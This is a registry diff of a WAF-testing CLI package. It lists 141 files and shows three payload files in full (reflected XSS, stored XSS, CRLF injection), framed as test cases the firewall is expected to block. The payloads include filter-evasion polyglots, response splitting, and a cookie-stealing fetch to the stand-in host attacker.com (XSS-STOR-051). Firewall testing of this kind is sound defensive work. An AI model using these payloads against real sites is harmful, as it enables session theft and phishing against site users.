@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
package/payloads/community/xss/reflected.json ADDED
@@ -0,0 +1,187 @@
1
+ [
2
+ {
3
+ "id": "XSS-REFL-001",
4
+ "payload": "<script>alert('XSS')</script>",
5
+ "tags": [
6
+ "basic",
7
+ "reflected",
8
+ "quick"
9
+ ],
10
+ "expected_block": true,
11
+ "severity_hint": "High",
12
+ "notes": "Classic reflected XSS",
13
+ "category": "XSS"
14
+ },
15
+ {
16
+ "id": "XSS-REFL-002",
17
+ "payload": "<img src=x onerror=alert('XSS')>",
18
+ "tags": [
19
+ "basic",
20
+ "img",
21
+ "quick"
22
+ ],
23
+ "expected_block": true,
24
+ "severity_hint": "High",
25
+ "notes": "Image tag with onerror event",
26
+ "category": "XSS"
27
+ },
28
+ {
29
+ "id": "XSS-REFL-003",
30
+ "payload": "<svg onload=alert('XSS')>",
31
+ "tags": [
32
+ "svg",
33
+ "quick"
34
+ ],
35
+ "expected_block": true,
36
+ "severity_hint": "High",
37
+ "notes": "SVG-based XSS",
38
+ "category": "XSS"
39
+ },
40
+ {
41
+ "id": "XSS-REFL-004",
42
+ "payload": "javascript:alert('XSS')",
43
+ "tags": [
44
+ "protocol",
45
+ "quick"
46
+ ],
47
+ "expected_block": true,
48
+ "severity_hint": "Medium",
49
+ "notes": "JavaScript protocol handler",
50
+ "category": "XSS"
51
+ },
52
+ {
53
+ "id": "XSS-REFL-005",
54
+ "payload": "<iframe src=\"javascript:alert('XSS')\">",
55
+ "tags": [
56
+ "iframe",
57
+ "protocol"
58
+ ],
59
+ "expected_block": true,
60
+ "severity_hint": "High",
61
+ "notes": "Iframe with javascript protocol",
62
+ "category": "XSS"
63
+ },
64
+ {
65
+ "id": "XSS-REFL-006",
66
+ "payload": "<body onload=alert('XSS')>",
67
+ "tags": [
68
+ "body",
69
+ "event"
70
+ ],
71
+ "expected_block": true,
72
+ "severity_hint": "High",
73
+ "notes": "Body tag event handler",
74
+ "category": "XSS"
75
+ },
76
+ {
77
+ "id": "XSS-REFL-007",
78
+ "payload": "<input onfocus=alert('XSS') autofocus>",
79
+ "tags": [
80
+ "input",
81
+ "autofocus"
82
+ ],
83
+ "expected_block": true,
84
+ "severity_hint": "High",
85
+ "notes": "Input with autofocus trigger",
86
+ "category": "XSS"
87
+ },
88
+ {
89
+ "id": "XSS-REFL-008",
90
+ "payload": "%3Cscript%3Ealert('XSS')%3C%2Fscript%3E",
91
+ "tags": [
92
+ "encoded",
93
+ "basic",
94
+ "quick"
95
+ ],
96
+ "expected_block": true,
97
+ "severity_hint": "High",
98
+ "notes": "URL-encoded script tag",
99
+ "category": "XSS"
100
+ },
101
+ {
102
+ "id": "XSS-REFL-009",
103
+ "payload": "<scr<script>ipt>alert('XSS')</scr</script>ipt>",
104
+ "tags": [
105
+ "obfuscation",
106
+ "evasion"
107
+ ],
108
+ "expected_block": true,
109
+ "severity_hint": "High",
110
+ "notes": "Tag splitting evasion",
111
+ "category": "XSS"
112
+ },
113
+ {
114
+ "id": "XSS-POLY-001",
115
+ "payload": "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//\\x3e",
116
+ "tags": [
117
+ "polyglot",
118
+ "obfuscation"
119
+ ],
120
+ "expected_block": true,
121
+ "severity_hint": "Critical",
122
+ "notes": "XSS polyglot - multiple context bypass",
123
+ "category": "XSS"
124
+ },
125
+ {
126
+ "id": "XSS-REFL-010",
127
+ "payload": "<details open ontoggle=alert('XSS')>",
128
+ "tags": [
129
+ "details",
130
+ "html5"
131
+ ],
132
+ "expected_block": true,
133
+ "severity_hint": "Medium",
134
+ "notes": "HTML5 details tag",
135
+ "category": "XSS"
136
+ },
137
+ {
138
+ "id": "XSS-REFL-011",
139
+ "payload": "<marquee onstart=alert('XSS')>",
140
+ "tags": [
141
+ "marquee",
142
+ "legacy"
143
+ ],
144
+ "expected_block": true,
145
+ "severity_hint": "Medium",
146
+ "notes": "Legacy marquee tag",
147
+ "category": "XSS"
148
+ },
149
+ {
150
+ "id": "XSS-REFL-012",
151
+ "payload": "<math><mtext></mtext><mglyph><style></math><img src onerror=alert('XSS')>",
152
+ "tags": [
153
+ "mathml",
154
+ "mutation"
155
+ ],
156
+ "expected_block": true,
157
+ "severity_hint": "High",
158
+ "notes": "MathML mutation XSS",
159
+ "category": "XSS"
160
+ },
161
+ {
162
+ "id": "XSS-POLY-002",
163
+ "payload": "'\"><img src=x onerror=alert(1)>",
164
+ "tags": [
165
+ "polyglot",
166
+ "attribute-escape",
167
+ "quick"
168
+ ],
169
+ "expected_block": true,
170
+ "severity_hint": "Critical",
171
+ "notes": "XSS polyglot - escapes single quote, double quote, and tag context",
172
+ "category": "XSS"
173
+ },
174
+ {
175
+ "id": "XSS-POLY-003",
176
+ "payload": "javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>",
177
+ "tags": [
178
+ "polyglot",
179
+ "multi-context",
180
+ "advanced"
181
+ ],
182
+ "expected_block": true,
183
+ "severity_hint": "Critical",
184
+ "notes": "Advanced XSS polyglot - breaks out of multiple contexts (title, style, textarea, script, xmp)",
185
+ "category": "XSS"
186
+ }
187
+ ]
package/payloads/community/xss/stored.json ADDED
@@ -0,0 +1,330 @@
1
+ [
2
+ {
3
+ "id": "XSS-STOR-050",
4
+ "payload": "<script>alert(document.domain)</script>",
5
+ "tags": [
6
+ "stored",
7
+ "comment",
8
+ "basic",
9
+ "quick"
10
+ ],
11
+ "expected_block": true,
12
+ "severity_hint": "Critical",
13
+ "notes": "Stored XSS in comment field - basic script tag",
14
+ "category": "XSS"
15
+ },
16
+ {
17
+ "id": "XSS-STOR-051",
18
+ "payload": "<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>",
19
+ "tags": [
20
+ "stored",
21
+ "cookie-theft",
22
+ "exfiltration"
23
+ ],
24
+ "expected_block": true,
25
+ "severity_hint": "Critical",
26
+ "notes": "Stored XSS with cookie exfiltration via fetch",
27
+ "category": "XSS"
28
+ },
29
+ {
30
+ "id": "XSS-STOR-052",
31
+ "payload": "<svg><animate onbegin=alert(1) attributeName=x dur=1s>",
32
+ "tags": [
33
+ "stored",
34
+ "svg",
35
+ "animate"
36
+ ],
37
+ "expected_block": true,
38
+ "severity_hint": "High",
39
+ "notes": "Stored XSS via SVG animate element",
40
+ "category": "XSS"
41
+ },
42
+ {
43
+ "id": "XSS-STOR-053",
44
+ "payload": "<style>@import'javascript:alert(1)';</style>",
45
+ "tags": [
46
+ "stored",
47
+ "style",
48
+ "import"
49
+ ],
50
+ "expected_block": true,
51
+ "severity_hint": "High",
52
+ "notes": "Stored XSS via CSS @import with javascript protocol",
53
+ "category": "XSS"
54
+ },
55
+ {
56
+ "id": "XSS-STOR-054",
57
+ "payload": "<link rel=stylesheet href='javascript:alert(1)'>",
58
+ "tags": [
59
+ "stored",
60
+ "link",
61
+ "stylesheet"
62
+ ],
63
+ "expected_block": true,
64
+ "severity_hint": "High",
65
+ "notes": "Stored XSS via link stylesheet with javascript protocol",
66
+ "category": "XSS"
67
+ },
68
+ {
69
+ "id": "XSS-STOR-055",
70
+ "payload": "<object data='javascript:alert(1)'>",
71
+ "tags": [
72
+ "stored",
73
+ "object",
74
+ "data"
75
+ ],
76
+ "expected_block": true,
77
+ "severity_hint": "High",
78
+ "notes": "Stored XSS via object data attribute",
79
+ "category": "XSS"
80
+ },
81
+ {
82
+ "id": "XSS-STOR-056",
83
+ "payload": "<embed src='javascript:alert(1)'>",
84
+ "tags": [
85
+ "stored",
86
+ "embed"
87
+ ],
88
+ "expected_block": true,
89
+ "severity_hint": "High",
90
+ "notes": "Stored XSS via embed element",
91
+ "category": "XSS"
92
+ },
93
+ {
94
+ "id": "XSS-STOR-057",
95
+ "payload": "<meta http-equiv=refresh content='0;url=javascript:alert(1)'>",
96
+ "tags": [
97
+ "stored",
98
+ "meta",
99
+ "refresh"
100
+ ],
101
+ "expected_block": true,
102
+ "severity_hint": "Critical",
103
+ "notes": "Stored XSS via meta refresh redirect",
104
+ "category": "XSS"
105
+ },
106
+ {
107
+ "id": "XSS-STOR-058",
108
+ "payload": "<base href='javascript:alert(1)//'>",
109
+ "tags": [
110
+ "stored",
111
+ "base",
112
+ "href"
113
+ ],
114
+ "expected_block": true,
115
+ "severity_hint": "Critical",
116
+ "notes": "Stored XSS via base tag hijacking",
117
+ "category": "XSS"
118
+ },
119
+ {
120
+ "id": "XSS-STOR-059",
121
+ "payload": "<form action='javascript:alert(1)'><input type=submit value=Click></form>",
122
+ "tags": [
123
+ "stored",
124
+ "form",
125
+ "action"
126
+ ],
127
+ "expected_block": true,
128
+ "severity_hint": "High",
129
+ "notes": "Stored XSS via form action attribute",
130
+ "category": "XSS"
131
+ },
132
+ {
133
+ "id": "XSS-STOR-060",
134
+ "payload": "<button formaction='javascript:alert(1)'>Click</button>",
135
+ "tags": [
136
+ "stored",
137
+ "button",
138
+ "formaction"
139
+ ],
140
+ "expected_block": true,
141
+ "severity_hint": "High",
142
+ "notes": "Stored XSS via button formaction",
143
+ "category": "XSS"
144
+ },
145
+ {
146
+ "id": "XSS-STOR-061",
147
+ "payload": "<video><source onerror='alert(1)' src=x></video>",
148
+ "tags": [
149
+ "stored",
150
+ "video",
151
+ "source"
152
+ ],
153
+ "expected_block": true,
154
+ "severity_hint": "High",
155
+ "notes": "Stored XSS via video source onerror",
156
+ "category": "XSS"
157
+ },
158
+ {
159
+ "id": "XSS-STOR-062",
160
+ "payload": "<audio src=x onerror=alert(1)>",
161
+ "tags": [
162
+ "stored",
163
+ "audio",
164
+ "onerror"
165
+ ],
166
+ "expected_block": true,
167
+ "severity_hint": "High",
168
+ "notes": "Stored XSS via audio onerror event",
169
+ "category": "XSS"
170
+ },
171
+ {
172
+ "id": "XSS-STOR-063",
173
+ "payload": "<track src=x onerror=alert(1)>",
174
+ "tags": [
175
+ "stored",
176
+ "track",
177
+ "media"
178
+ ],
179
+ "expected_block": true,
180
+ "severity_hint": "Medium",
181
+ "notes": "Stored XSS via track element onerror",
182
+ "category": "XSS"
183
+ },
184
+ {
185
+ "id": "XSS-STOR-064",
186
+ "payload": "<script>setTimeout('alert(1)', 10000)</script>",
187
+ "tags": [
188
+ "stored",
189
+ "delayed",
190
+ "setTimeout"
191
+ ],
192
+ "expected_block": true,
193
+ "severity_hint": "Critical",
194
+ "notes": "Stored XSS with 10 second delay (delayed trigger)",
195
+ "category": "XSS"
196
+ },
197
+ {
198
+ "id": "XSS-STOR-065",
199
+ "payload": "<img src=x onerror=\"this.onerror=null; setTimeout('alert(1)', 5000)\">",
200
+ "tags": [
201
+ "stored",
202
+ "delayed",
203
+ "anti-detection"
204
+ ],
205
+ "expected_block": true,
206
+ "severity_hint": "Critical",
207
+ "notes": "Stored XSS with delayed trigger and error clearing",
208
+ "category": "XSS"
209
+ },
210
+ {
211
+ "id": "XSS-STOR-066",
212
+ "payload": "{{constructor.constructor('alert(1)')()}}",
213
+ "tags": [
214
+ "stored",
215
+ "template",
216
+ "angular",
217
+ "ssti"
218
+ ],
219
+ "expected_block": true,
220
+ "severity_hint": "Critical",
221
+ "notes": "Stored XSS via AngularJS template injection",
222
+ "category": "XSS"
223
+ },
224
+ {
225
+ "id": "XSS-STOR-067",
226
+ "payload": "${alert(document.domain)}",
227
+ "tags": [
228
+ "stored",
229
+ "template",
230
+ "es6",
231
+ "template-literal"
232
+ ],
233
+ "expected_block": true,
234
+ "severity_hint": "Critical",
235
+ "notes": "Stored XSS via ES6 template literal injection",
236
+ "category": "XSS"
237
+ },
238
+ {
239
+ "id": "XSS-STOR-068",
240
+ "payload": "<textarea><script>alert(1)</script></textarea>",
241
+ "tags": [
242
+ "stored",
243
+ "textarea",
244
+ "context-escape"
245
+ ],
246
+ "expected_block": true,
247
+ "severity_hint": "High",
248
+ "notes": "Stored XSS escaping textarea context",
249
+ "category": "XSS"
250
+ },
251
+ {
252
+ "id": "XSS-STOR-069",
253
+ "payload": "<noscript><style></noscript><img src=x onerror=alert(1)>",
254
+ "tags": [
255
+ "stored",
256
+ "noscript",
257
+ "style-escape"
258
+ ],
259
+ "expected_block": true,
260
+ "severity_hint": "High",
261
+ "notes": "Stored XSS via noscript context escape",
262
+ "category": "XSS"
263
+ },
264
+ {
265
+ "id": "XSS-STOR-070",
266
+ "payload": "<select><option><script>alert(1)</script></option></select>",
267
+ "tags": [
268
+ "stored",
269
+ "select",
270
+ "option"
271
+ ],
272
+ "expected_block": true,
273
+ "severity_hint": "Medium",
274
+ "notes": "Stored XSS in select option (limited contexts)",
275
+ "category": "XSS"
276
+ },
277
+ {
278
+ "id": "XSS-STOR-071",
279
+ "payload": "<!--[if gte IE 4]><script>alert(1)</script><![endif]-->",
280
+ "tags": [
281
+ "stored",
282
+ "conditional-comment",
283
+ "ie"
284
+ ],
285
+ "expected_block": true,
286
+ "severity_hint": "Medium",
287
+ "notes": "Stored XSS via IE conditional comments",
288
+ "category": "XSS"
289
+ },
290
+ {
291
+ "id": "XSS-STOR-072",
292
+ "payload": "<svg><foreignObject><body onload=alert(1)></foreignObject></svg>",
293
+ "tags": [
294
+ "stored",
295
+ "svg",
296
+ "foreignObject"
297
+ ],
298
+ "expected_block": true,
299
+ "severity_hint": "High",
300
+ "notes": "Stored XSS via SVG foreignObject",
301
+ "category": "XSS"
302
+ },
303
+ {
304
+ "id": "XSS-STOR-073",
305
+ "payload": "<math><mtext><img src=x onerror=alert(1)></mtext></math>",
306
+ "tags": [
307
+ "stored",
308
+ "mathml",
309
+ "mtext"
310
+ ],
311
+ "expected_block": true,
312
+ "severity_hint": "High",
313
+ "notes": "Stored XSS via MathML mtext element",
314
+ "category": "XSS"
315
+ },
316
+ {
317
+ "id": "XSS-STOR-074",
318
+ "payload": "<iframe srcdoc='<script>alert(parent.document.domain)</script>'></iframe>",
319
+ "tags": [
320
+ "stored",
321
+ "iframe",
322
+ "srcdoc",
323
+ "parent-access"
324
+ ],
325
+ "expected_block": true,
326
+ "severity_hint": "Critical",
327
+ "notes": "Stored XSS via iframe srcdoc with parent access",
328
+ "category": "XSS"
329
+ }
330
+ ]
package/payloads/crlf-injection.json ADDED
@@ -0,0 +1,182 @@
1
+ [
2
+ {
3
+ "id": "crlf-001",
4
+ "payload": "%0d%0aSet-Cookie:crlf=injection",
5
+ "tags": ["crlf", "header-injection", "session-fixation"],
6
+ "expected_block": true,
7
+ "severity_hint": "high",
8
+ "notes": "Basic CRLF injection - set arbitrary cookie",
9
+ "category": "Injection"
10
+ },
11
+ {
12
+ "id": "crlf-002",
13
+ "payload": "%0d%0aLocation:%20http://evil.com",
14
+ "tags": ["crlf", "header-injection", "open-redirect"],
15
+ "expected_block": true,
16
+ "severity_hint": "high",
17
+ "notes": "CRLF injection for open redirect via Location header",
18
+ "category": "Injection"
19
+ },
20
+ {
21
+ "id": "crlf-003",
22
+ "payload": "%0aSet-Cookie:crlf=injection",
23
+ "tags": ["crlf", "header-injection", "lf-only"],
24
+ "expected_block": true,
25
+ "severity_hint": "high",
26
+ "notes": "LF-only injection - works on some servers",
27
+ "category": "Injection"
28
+ },
29
+ {
30
+ "id": "crlf-004",
31
+ "payload": "%0dSet-Cookie:crlf=injection",
32
+ "tags": ["crlf", "header-injection", "cr-only"],
33
+ "expected_block": true,
34
+ "severity_hint": "high",
35
+ "notes": "CR-only injection - works on some servers",
36
+ "category": "Injection"
37
+ },
38
+ {
39
+ "id": "crlf-005",
40
+ "payload": "/%23%0aSet-Cookie:crlf=injection",
41
+ "tags": ["crlf", "header-injection", "fragment-bypass"],
42
+ "expected_block": true,
43
+ "severity_hint": "high",
44
+ "notes": "CRLF with fragment character bypass",
45
+ "category": "Injection"
46
+ },
47
+ {
48
+ "id": "crlf-006",
49
+ "payload": "/%23%0d%0aSet-Cookie:crlf=injection",
50
+ "tags": ["crlf", "header-injection", "fragment-bypass"],
51
+ "expected_block": true,
52
+ "severity_hint": "high",
53
+ "notes": "CRLF with fragment character and full CRLF",
54
+ "category": "Injection"
55
+ },
56
+ {
57
+ "id": "crlf-007",
58
+ "payload": "%25%30%61Set-Cookie:crlf=injection",
59
+ "tags": ["crlf", "header-injection", "double-encode"],
60
+ "expected_block": true,
61
+ "severity_hint": "high",
62
+ "notes": "Double URL-encoded LF",
63
+ "category": "Injection"
64
+ },
65
+ {
66
+ "id": "crlf-008",
67
+ "payload": "%25250aSet-Cookie:crlf=injection",
68
+ "tags": ["crlf", "header-injection", "triple-encode"],
69
+ "expected_block": true,
70
+ "severity_hint": "high",
71
+ "notes": "Triple URL-encoded LF",
72
+ "category": "Injection"
73
+ },
74
+ {
75
+ "id": "crlf-009",
76
+ "payload": "/%2e%2e%2f%0d%0aSet-Cookie:crlf=injection",
77
+ "tags": ["crlf", "header-injection", "path-traversal"],
78
+ "expected_block": true,
79
+ "severity_hint": "high",
80
+ "notes": "CRLF with path traversal prefix",
81
+ "category": "Injection"
82
+ },
83
+ {
84
+ "id": "crlf-010",
85
+ "payload": "/%2f%2e%2e%0d%0aSet-Cookie:crlf=injection",
86
+ "tags": ["crlf", "header-injection", "path-traversal"],
87
+ "expected_block": true,
88
+ "severity_hint": "high",
89
+ "notes": "CRLF with alternate path traversal",
90
+ "category": "Injection"
91
+ },
92
+ {
93
+ "id": "crlf-011",
94
+ "payload": "/%u000aSet-Cookie:crlf=injection",
95
+ "tags": ["crlf", "header-injection", "unicode"],
96
+ "expected_block": true,
97
+ "severity_hint": "high",
98
+ "notes": "Unicode-encoded LF (%u notation)",
99
+ "category": "Injection"
100
+ },
101
+ {
102
+ "id": "crlf-012",
103
+ "payload": "/%3f%0d%0aSet-Cookie:crlf=injection",
104
+ "tags": ["crlf", "header-injection", "query-string"],
105
+ "expected_block": true,
106
+ "severity_hint": "high",
107
+ "notes": "CRLF with query string prefix",
108
+ "category": "Injection"
109
+ },
110
+ {
111
+ "id": "crlf-013",
112
+ "payload": "%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>Phished</html>",
113
+ "tags": ["crlf", "http-response-splitting", "phishing"],
114
+ "expected_block": true,
115
+ "severity_hint": "critical",
116
+ "notes": "HTTP Response Splitting - inject entire fake response",
117
+ "category": "Injection"
118
+ },
119
+ {
120
+ "id": "crlf-014",
121
+ "payload": "%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a",
122
+ "tags": ["crlf", "xss", "response-splitting"],
123
+ "expected_block": true,
124
+ "severity_hint": "critical",
125
+ "notes": "CRLF to XSS by disabling XSS protection",
126
+ "category": "Injection"
127
+ },
128
+ {
129
+ "id": "crlf-015",
130
+ "payload": "%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:",
131
+ "tags": ["crlf", "header-injection", "utf8-bypass"],
132
+ "expected_block": true,
133
+ "severity_hint": "high",
134
+ "notes": "UTF-8 CRLF bypass (嘊嘍 characters stripped to 0A 0D)",
135
+ "category": "Injection"
136
+ },
137
+ {
138
+ "id": "crlf-016",
139
+ "payload": "%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert(1)%E5%98%BE",
140
+ "tags": ["crlf", "xss", "utf8-bypass"],
141
+ "expected_block": true,
142
+ "severity_hint": "critical",
143
+ "notes": "UTF-8 CRLF + XSS (嘊嘍嘼...嘾)",
144
+ "category": "Injection"
145
+ },
146
+ {
147
+ "id": "crlf-017",
148
+ "payload": "\\r\\nSet-Cookie:crlf=injection",
149
+ "tags": ["crlf", "header-injection", "escaped"],
150
+ "expected_block": true,
151
+ "severity_hint": "high",
152
+ "notes": "Escaped CRLF characters",
153
+ "category": "Injection"
154
+ },
155
+ {
156
+ "id": "crlf-018",
157
+ "payload": "*))%00%0d%0aSet-Cookie:crlf=injection",
158
+ "tags": ["crlf", "header-injection", "null-byte"],
159
+ "expected_block": true,
160
+ "severity_hint": "high",
161
+ "notes": "CRLF with null byte prefix",
162
+ "category": "Injection"
163
+ },
164
+ {
165
+ "id": "crlf-019",
166
+ "payload": "%0d%0aX-Injected-Header:%20test",
167
+ "tags": ["crlf", "header-injection", "custom-header"],
168
+ "expected_block": true,
169
+ "severity_hint": "medium",
170
+ "notes": "CRLF to inject custom header",
171
+ "category": "Injection"
172
+ },
173
+ {
174
+ "id": "crlf-020",
175
+ "payload": "%0d%0aAccess-Control-Allow-Origin:%20*",
176
+ "tags": ["crlf", "header-injection", "cors"],
177
+ "expected_block": true,
178
+ "severity_hint": "high",
179
+ "notes": "CRLF to inject CORS header",
180
+ "category": "Injection"
181
+ }
182
+ ]